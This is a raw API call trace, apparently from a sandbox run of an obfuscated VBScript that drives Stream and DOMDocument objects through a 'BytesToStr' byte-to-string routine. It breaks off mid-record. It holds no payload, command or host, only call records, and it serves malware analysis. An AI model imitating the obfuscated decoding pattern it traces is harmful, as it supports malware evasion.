DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154444 | out: ppvObject=0x154444*=0x0) returned 0x80004002 [0087.653] DOMDocument:IUnknown:AddRef (This=0x1112bf0) returned 0x2 [0087.653] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a4 | out: ppvObject=0x1544a4*=0x0) returned 0x80004002 [0087.653] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x1112bf0) returned 0x0 [0087.653] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1544c8 | out: ppvObject=0x1544c8*=0x0) returned 0x80004002 [0087.653] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15447c | out: ppvObject=0x15447c*=0x83fd368) returned 0x0 [0087.653] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154478 | out: ppvObject=0x154478*=0x83fd378) returned 0x0 [0087.653] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1544c8 | out: ppvObject=0x1544c8*=0x0) returned 0x80004002 [0087.653] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.653] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.653] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0087.653] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1544a8 | out: ppvObject=0x1544a8*=0x1112bf0) returned 0x0 [0087.653] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x15449c | out: ppvObject=0x15449c*=0x0) returned 0x80004002 [0087.653] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154474 | out: ppvObject=0x154474*=0x83fd368) returned 0x0 [0087.653] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154470 | out: ppvObject=0x154470*=0x83fd378) returned 0x0 [0087.654] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x15449c | out: ppvObject=0x15449c*=0x0) returned 0x80004002 [0087.654] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.654] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.654] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0087.654] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0087.654] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544fc | out: ppvObject=0x1544fc*=0x962bad0) returned 0x0 [0087.654] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0087.654] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0087.654] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.655] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.655] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x0 [0087.655] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.656] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.656] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.656] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.656] GetCurrentThreadId () returned 0xd44 [0087.656] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.656] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.656] malloc (_Size=0x804) returned 0x83fc220 [0087.656] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.656] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.657] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.657] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0087.657] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.657] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.657] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.657] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.657] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.658] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.658] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.658] GetCurrentThreadId () returned 0xd44 [0087.658] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.658] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.658] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.658] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.658] GetCurrentThreadId () returned 0xd44 [0087.658] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.659] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.659] malloc (_Size=0x804) returned 0x83fc220 [0087.659] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.659] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.659] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.659] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=10) returned 0x0 [0087.659] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.659] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.659] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1545b8*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.660] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.660] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.660] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.660] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.660] GetCurrentThreadId () returned 0xd44 [0087.660] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.660] malloc (_Size=0x404) returned 0x86ea2e0 [0087.661] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.662] malloc (_Size=0x804) returned 0x83fc220 [0087.662] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.662] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.662] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0087.662] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.662] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="write", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=13) returned 0x0 [0087.662] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.662] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.662] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66b8*(varType=0x400c, wReserved1=0x63, wReserved2=0x49, wReserved3=0x69, varVal1=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b92d50*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66b8*(varType=0x400c, wReserved1=0x63, wReserved2=0x49, wReserved3=0x69, varVal1=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b92d50*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.662] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.663] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.663] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.663] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.663] GetCurrentThreadId () returned 0xd44 [0087.663] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.663] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.663] malloc (_Size=0x804) returned 0x83fc220 [0087.663] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.664] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.664] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.664] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=3) returned 0x0 [0087.664] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.664] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.664] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0087.664] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.702] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1548d0 | out: ppvObject=0x1548d0*=0x0) returned 0x80004002 [0087.702] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1548d4*="Type", cNames=0x1, lcid=0x409, rgDispId=0x1548ec | out: rgDispId=0x1548ec*=4) returned 0x0 [0087.703] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.703] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1548d8 | out: ppvObject=0x1548d8*=0x0) returned 0x80004002 [0087.703] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1548a4*(rgvarg=([0]=0x83d66f8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1548a0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154880, puArgErr=0x1548c4 | out: pDispParams=0x1548a4*(rgvarg=([0]=0x83d66f8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1548a0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154880*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1548c4*=0x962bad0) returned 0x0 [0087.703] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.703] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1548d0 | out: ppvObject=0x1548d0*=0x0) returned 0x80004002 [0087.703] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1548d4*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x1548ec | out: rgDispId=0x1548ec*=8) returned 0x0 [0087.703] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.703] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1548d8 | out: ppvObject=0x1548d8*=0x0) returned 0x80004002 [0087.703] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1548a4*(rgvarg=([0]=0x1547e0*(varType=0x8, wReserved1=0x15, wReserved2=0x6768, wReserved3=0x83d, varVal1="utf-8", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x1548a0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154880, puArgErr=0x1548c4 | out: pDispParams=0x1548a4*(rgvarg=([0]=0x1547e0*(varType=0x8, wReserved1=0x15, wReserved2=0x6768, wReserved3=0x83d, varVal1="utf-8", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x1548a0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154880*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1548c4*=0x962bad0) returned 0x0 [0087.704] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.704] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.704] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.704] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.704] GetCurrentThreadId () returned 0xd44 [0087.704] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.705] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0087.706] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0087.706] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0087.706] GetCurrentThreadId () returned 0xd44 [0087.706] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.706] IUnknown:QueryInterface (in: This=0x11977a8, 